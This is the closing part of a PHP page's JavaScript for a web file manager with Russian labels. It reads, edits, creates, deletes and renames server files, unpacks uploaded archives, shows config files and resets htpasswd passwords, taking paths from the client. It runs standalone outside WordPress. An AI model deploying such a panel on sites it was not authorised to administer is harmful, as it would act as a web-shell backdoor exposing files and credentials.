    var imgExts=['jpg','jpeg','png','gif','svg','webp','bmp','ico'];
    if (imgExts.indexOf(ext)!==-1) {
        document.getElementById('fm-view-body').innerHTML=
            '<div class="fm-view-empty" style="color:#90caf9;">🖼️ '+escHtml(name)+
            '<br><span style="font-size:11px;color:#555;">Просмотр изображений не поддерживается</span></div>';
        document.getElementById('fm-btn-edit').style.display='none';
        return;
    }
    if (_textExts.indexOf(ext)!==-1||size<100*1024) {
        var fd=new FormData();
        fd.append(APP_ACTION_FIELD,'read_file'); fd.append('file_path',path); fd.append('site_root',_fmRoot);
        appPost(fd)
            .then(function(data) {
                if (data.success) {
                    var pre=document.createElement('pre');
                    pre.textContent=data.content;
                    document.getElementById('fm-view-body').innerHTML='';
                    document.getElementById('fm-view-body').appendChild(pre);
                    document.getElementById('fm-view-meta').textContent=
                        fmFmtSize(data.size)+' · '+data.content.split('\n').length+' строк';
                    // Скрыть кнопку редактирования если файл не writable
                    if (!data.writable) document.getElementById('fm-btn-edit').style.display='none';
                } else {
                    document.getElementById('fm-view-body').innerHTML=
                        '<div class="fm-view-empty" style="color:#c62828;">❌ '+data.error+'</div>';
                    document.getElementById('fm-btn-edit').style.display='none';
                }
            });
    } else {
        document.getElementById('fm-view-body').innerHTML=
            '<div class="fm-view-empty">⚠️ Файл слишком большой для просмотра ('+fmFmtSize(size)+')</div>';
        document.getElementById('fm-btn-edit').style.display='none';
    }
}

// ===== РЕДАКТОР =====
function fmStartEdit() {
    var pre=document.querySelector('#fm-view-body pre');
    var path=document.getElementById('fm-selected-path').textContent;
    var name=document.getElementById('fm-view-filename').textContent;
    if (!pre||!path) return;
    _fmEditPath=path; _fmEditOrig=pre.textContent;
    document.getElementById('fm-edit-filename').textContent=name;
    document.getElementById('fm-edit-status').textContent='';
    document.getElementById('fm-edit-status').style.color='#888';
    document.getElementById('fm-editor').value=_fmEditOrig;
    document.getElementById('fm-view-pane').style.display='none';
    document.getElementById('fm-edit-pane').style.display='flex';
    document.getElementById('fm-editor').focus();
}

function fmDiscardEdit() {
    document.getElementById('fm-edit-pane').style.display='none';
    document.getElementById('fm-view-pane').style.display='flex';
}

function fmSaveFile() {
    var content=document.getElementById('fm-editor').value;
    var statusEl=document.getElementById('fm-edit-status');
    statusEl.textContent='⏳ Сохраняем...'; statusEl.style.color='#888';
    var fd=new FormData();
    fd.append(APP_ACTION_FIELD,'save_file'); fd.append('file_path',_fmEditPath);
    fd.append('site_root',_fmRoot); fd.append('content',content);
    appPost(fd)
        .then(function(data) {
            if (data.success) {
                statusEl.textContent='✅ Сохранено ('+fmFmtSize(data.bytes)+')';
                statusEl.style.color='#a5d6a7';
                _fmEditOrig=content;
                var pre=document.querySelector('#fm-view-body pre');
                if (pre) pre.textContent=content;
                setTimeout(function(){ fmDiscardEdit(); statusEl.textContent=''; }, 1500);
            } else {
                statusEl.textContent='❌ '+data.error;
                statusEl.style.color='#ef9a9a';
            }
        })
        .catch(function(e) {
            statusEl.textContent='❌ '+e.message;
            statusEl.style.color='#ef9a9a';
        });
}

// ===== СОЗДАНИЕ ФАЙЛА =====
function fmNewFile() {
    document.getElementById('fm-newfile-dir').textContent = _fmCurrent;
    document.getElementById('fm-newfile-name').value = '';
    document.getElementById('fm-newfile-content').value = '';
    document.getElementById('fm-newfile-msg').className = 'modal-msg';
    document.getElementById('fm-newfile-msg').textContent = '';
    document.getElementById('fm-newfile-overlay').classList.add('active');
    document.getElementById('fm-newfile-name').focus();
}
function closeNewFileModal() {
    document.getElementById('fm-newfile-overlay').classList.remove('active');
}
function fmCreateFile() {
    var name = document.getElementById('fm-newfile-name').value.trim();
    var content = document.getElementById('fm-newfile-content').value;
    var msg = document.getElementById('fm-newfile-msg');
    msg.className = 'modal-msg'; msg.textContent = '';
    if (!name) { msg.className = 'modal-msg error'; msg.textContent = 'Введите имя файла'; return; }
    var btn = document.querySelector('#fm-newfile-overlay .btn-save');
    btn.disabled = true; btn.textContent = '⏳ Создаём...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'create_file');
    fd.append('dir_path', _fmCurrent);
    fd.append('file_name', name);
    fd.append('content', content);
    fd.append('site_root', _fmRoot);
    appPost(fd)
        .then(function(data) {
            btn.disabled = false; btn.textContent = '💾 Создать';
            if (data.success) {
                msg.className = 'modal-msg success';
                msg.textContent = '✅ Файл создан: ' + data.file_name + ' (' + fmFmtSize(data.bytes) + ')';
                fmLoad(_fmCurrent); // обновить список
                setTimeout(closeNewFileModal, 1500);
            } else {
                msg.className = 'modal-msg error';
                msg.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) {
            btn.disabled = false; btn.textContent = '💾 Создать';
            msg.className = 'modal-msg error';
            msg.textContent = '❌ ' + e.message;
        });
}
document.getElementById('fm-newfile-overlay').addEventListener('click', function(e) {
    if (e.target === this) closeNewFileModal();
});

// ===== ИМПОРТ АРХИВА =====
function fmImportArchive() {
    var input = document.getElementById('fm-archive-input');
    input.value = '';
    input.click();
}
function fmUploadArchive(file) {
    if (!file) return;
    var statusEl = document.getElementById('fm-status');
    statusEl.textContent = '⏳ Загружаем и распаковываем архив...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'upload_archive');
    fd.append('dir_path', _fmCurrent);
    fd.append('site_root', _fmRoot);
    fd.append('archive', file);
    appPost(fd)
        .then(function(data) {
            if (data.success) {
                statusEl.textContent = '✅ Архив импортирован: ' + data.archive + ' · файлов: ' + data.files;
                fmLoad(_fmCurrent);
            } else {
                statusEl.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) {
            statusEl.textContent = '❌ ' + e.message;
        });
}
document.getElementById('fm-archive-input').addEventListener('change', function() {
    if (this.files && this.files[0]) fmUploadArchive(this.files[0]);
});

function fmRenameItem(path, name, isDir) {
    var newName = prompt('Новое имя:', name);
    if (newName === null || newName.trim() === '' || newName.trim() === name) return;
    var statusEl = document.getElementById('fm-status');
    statusEl.textContent = '⏳ Переименовываем...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'rename_item');
    fd.append('old_path', path);
    fd.append('new_name', newName.trim());
    fd.append('site_root', _fmRoot);
    appPost(fd)
        .then(function(data) {
            if (data.success) {
                statusEl.textContent = '✅ Переименовано: ' + data.new_name;
                if (!isDir && document.getElementById('fm-selected-path').textContent === path) {
                    document.getElementById('fm-selected-path').textContent = data.new_path;
                    document.getElementById('fm-view-filename').textContent = data.new_name;
                }
                fmLoad(_fmCurrent);
            } else {
                statusEl.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) { statusEl.textContent = '❌ ' + e.message; });
}
function fmDeleteItem(path, name, isDir) {
    var label = isDir ? 'папку' : 'файл';
    if (!confirm('Удалить ' + label + ' «' + name + '»?\n\n' + path)) return;
    var statusEl = document.getElementById('fm-status');
    statusEl.textContent = '⏳ Удаляем...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'delete_item');
    fd.append('item_path', path);
    fd.append('site_root', _fmRoot);
    appPost(fd)
        .then(function(data) {
            if (data.success) {
                statusEl.textContent = '✅ Удалено: ' + name;
                if (document.getElementById('fm-selected-path').textContent === path) {
                    document.getElementById('fm-view-pane').style.display = 'none';
                    document.getElementById('fm-edit-pane').style.display = 'none';
                    document.getElementById('fm-list-pane').classList.remove('split');
                    document.getElementById('fm-selected-path').textContent = '';
                }
                fmLoad(_fmCurrent);
            } else {
                statusEl.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) { statusEl.textContent = '❌ ' + e.message; });
}
function fmRenameSelected() {
    var path = document.getElementById('fm-selected-path').textContent;
    var name = document.getElementById('fm-view-filename').textContent;
    if (!path || !name) return;
    fmRenameItem(path, name, false);
}
function fmDeleteSelected() {
    var path = document.getElementById('fm-selected-path').textContent;
    var name = document.getElementById('fm-view-filename').textContent;
    if (!path || !name) return;
    fmDeleteItem(path, name, false);
}

function fmCopyPath() {
    navigator.clipboard.writeText(_fmCurrent).then(function() {
        var el=document.getElementById('fm-breadcrumb'), old=el.style.color;
        el.style.color='#a5d6a7'; setTimeout(function(){ el.style.color=old; },1500);
    });
}
function fmCopyContent() {
    var pre=document.querySelector('#fm-view-body pre'); if (!pre) return;
    navigator.clipboard.writeText(pre.textContent).then(function() {
        var btn=event.target; btn.textContent='✅';
        setTimeout(function(){ btn.textContent='📋'; },2000);
    });
}
function fmFmtSize(bytes) {
    if (!bytes) return '';
    if (bytes<1024) return bytes+' B';
    if (bytes<1048576) return (bytes/1024).toFixed(1)+' KB';
    return (bytes/1048576).toFixed(1)+' MB';
}
function escJs(s)   { return s.replace(/\\/g,'\\\\').replace(/'/g,"\\'"); }
function escHtml(s) { return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;'); }

document.getElementById('fm-overlay').addEventListener('click',function(e){ if(e.target===this) closeFM(); });

// Tab + Ctrl+S в редакторе
document.addEventListener('keydown',function(e) {
    if (e.target && (e.target.id==='fm-editor' || e.target.id==='fm-newfile-content')) {
        if (e.key==='Tab') {
            e.preventDefault();
            var ta=e.target, s=ta.selectionStart, end=ta.selectionEnd;
            ta.value=ta.value.substring(0,s)+'    '+ta.value.substring(end);
            ta.selectionStart=ta.selectionEnd=s+4;
        }
    }
    if ((e.ctrlKey||e.metaKey)&&e.key==='s') {
        if (document.getElementById('fm-edit-pane').style.display!=='none') {
            e.preventDefault(); fmSaveFile();
        }
    }
    if (e.key==='Escape') { closeFM(); closeViewModal(); closeModal(); closeNewFileModal(); }
});

// ===== ПРОСМОТР КОНФИГА =====
function viewFile(filepath, siteRoot) {
    document.getElementById('view-modal-title').textContent=filepath.split('/').pop();
    document.getElementById('view-modal-path').textContent=filepath;
    document.getElementById('view-modal-size').textContent='';
    document.getElementById('view-modal-body').innerHTML='<div class="view-loading">⏳ Загрузка...</div>';
    document.getElementById('view-modal-overlay').classList.add('active');
    var fd=new FormData();
    fd.append(APP_ACTION_FIELD,'view_file'); fd.append('file_path',filepath);
    if (siteRoot) fd.append('site_root',siteRoot);
    appPost(fd)
        .then(function(data) {
            if (data.success) {
                var pre=document.createElement('pre');
                pre.textContent=data.content;
                document.getElementById('view-modal-body').innerHTML='';
                document.getElementById('view-modal-body').appendChild(pre);
                document.getElementById('view-modal-size').textContent=
                    data.content.length+' байт · '+data.content.split('\n').length+' строк';
            } else {
                document.getElementById('view-modal-body').innerHTML=
                    '<div class="view-loading" style="color:#c62828;">❌ '+data.error+'</div>';
            }
        });
}
function closeViewModal() { document.getElementById('view-modal-overlay').classList.remove('active'); }
function copyFileContent() {
    var pre=document.querySelector('#view-modal-body pre'); if (!pre) return;
    navigator.clipboard.writeText(pre.textContent).then(function() {
        var btn=document.querySelector('.btn-copy-file');
        btn.textContent='✅ Скопировано';
        setTimeout(function(){ btn.textContent='📋 Копировать'; },2000);
    });
}
document.getElementById('view-modal-overlay').addEventListener('click',function(e){ if(e.target===this) closeViewModal(); });

// ===== СМЕНА ПАРОЛЯ =====
var _currentUser='', _currentFile='', _currentHashId='';
function openModal(username, filepath, hashId) {
    _currentUser=username; _currentFile=filepath; _currentHashId=hashId;
    document.getElementById('modal-username').textContent=username;
    document.getElementById('modal-filepath').textContent=filepath;
    document.getElementById('modal-password').value='';
    document.getElementById('modal-password2').value='';
    document.getElementById('modal-msg').className='modal-msg';
    document.getElementById('modal-msg').textContent='';
    document.getElementById('modal-new-hash').textContent='';
    document.getElementById('modal-overlay').classList.add('active');
    document.getElementById('modal-password').focus();
}
function closeModal() { document.getElementById('modal-overlay').classList.remove('active'); }
function togglePw()  { var f=document.getElementById('modal-password');  f.type=f.type==='password'?'text':'password'; }
function togglePw2() { var f=document.getElementById('modal-password2'); f.type=f.type==='password'?'text':'password'; }
function savePassword() {
    var pw=document.getElementById('modal-password').value;
    var pw2=document.getElementById('modal-password2').value;
    var msg=document.getElementById('modal-msg');
    msg.className='modal-msg'; msg.textContent='';
    if (!pw)      { msg.className='modal-msg error'; msg.textContent='Введите пароль'; return; }
    if (pw!==pw2) { msg.className='modal-msg error'; msg.textContent='Пароли не совпадают'; return; }
    if (pw.length<4) { msg.className='modal-msg error'; msg.textContent='Пароль слишком короткий'; return; }
    var btn=document.querySelector('.btn-save');
    btn.disabled=true; btn.textContent='⏳ Сохраняем...';
    var fd=new FormData();
    fd.append(APP_ACTION_FIELD,'change_password'); fd.append('htpasswd_path',_currentFile);
    fd.append('username',_currentUser); fd.append('new_password',pw);
    appPost(fd)
        .then(function(data) {
            btn.disabled=false; btn.textContent='💾 Сохранить';
            if (data.success) {
                msg.className='modal-msg success'; msg.textContent='✅ Пароль успешно изменён!';
                document.getElementById('modal-new-hash').textContent='Новый хеш: '+data.new_hash;
                var el=document.getElementById('hash-'+_currentHashId);
                if (el) el.textContent=data.new_hash;
                setTimeout(closeModal,2500);
            } else {
                msg.className='modal-msg error'; msg.textContent='❌ '+data.error;
            }
        })
        .catch(function(e) {
            btn.disabled=false; btn.textContent='💾 Сохранить';
            msg.className='modal-msg error'; msg.textContent='❌ '+e.message;
        });
}
document.getElementById('modal-overlay').addEventListener('click',function(e){ if(e.target===this) closeModal(); });
</script>
</body>
</html>
<?php
}

if (!defined('ABSPATH')) {
    up_to_run_app();
}